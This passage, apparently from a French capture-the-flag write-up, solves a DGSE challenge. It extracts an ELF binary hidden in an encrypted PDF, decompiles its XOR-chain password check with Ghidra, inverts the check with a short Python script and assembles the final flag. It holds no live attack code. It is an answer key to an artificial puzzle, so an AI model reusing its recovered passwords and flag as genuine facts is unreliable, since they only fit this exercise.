f = open("message.pdf","rb").read()
d = blw.encrypt(f)
```
```
kali@kali:~/DGSE$ binwalk message.pdf_enc
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
72613 0x11BA5 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
kali@kali:~/DGSE$ dd if=message.pdf_enc of=elf_polyglotte bs=1 skip=72613
kali@kali:~/DGSE$ chmod +x elf_polyglotte
Operation Soleil Atomique
Entrez le mot de passe :
```
on décompile avec ghidra :
```
undefined8 main(void)
{
size_t sVar1;
byte *__dest;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Operation Soleil Atomique");
printf("Entrez le mot de passe : ");
fgets(local_28,0x10,stdin);
sVar1 = strlen(local_28);
__dest = (byte *)malloc(sVar1 + 1);
strcpy((char *)__dest,local_28);
checkpassword(__dest);
if (((((((__dest[1] ^ *__dest) == 0x69) && ((__dest[2] ^ __dest[1]) == 0x6f)) &&
((__dest[3] ^ __dest[2]) == 0x38)) &&
(((__dest[4] ^ __dest[3]) == 0x56 && ((__dest[5] ^ __dest[4]) == 0x50)))) &&
(((__dest[6] ^ __dest[5]) == 0x57 &&
(((__dest[7] ^ __dest[6]) == 0x50 && ((__dest[8] ^ __dest[7]) == 0x56)))))) &&
(((__dest[9] ^ __dest[8]) == 6 && (__dest[9] == 0x34)))) {
puts("Bravo");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Mauvais mot de passe");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
```
a = [0x06,0x56,0x50,0x57,0x50,0x56,0x38,0x6f,0x69]
b = [0x34,0,0,0,0,0,0,0,0,0]
for i in range(9):
b[i+1] = a[i]^b[i]
t = ""
for bb in b[::-1]:
t = t +chr(bb)
print(t)
```
```
kali@kali:~/DGSE$ ./elf_polyglotte
Operation Soleil Atomique
Entrez le mot de passe : [2]e3c4d24
Bravo
```
pour le [1]:
Il suffisait de convertir le pdf avec https://pdfextractor.com/
l'apperçus donne le flag

et dans le zip il y a un fichier texte avec le [1]
On a donc :
[0]aa938a16
[1]4d862d5a
[2]e3c4d24
[3]4037402d4
flag : DGSESIEE{ae7bca8eaa938a16e3c4d244037402d4}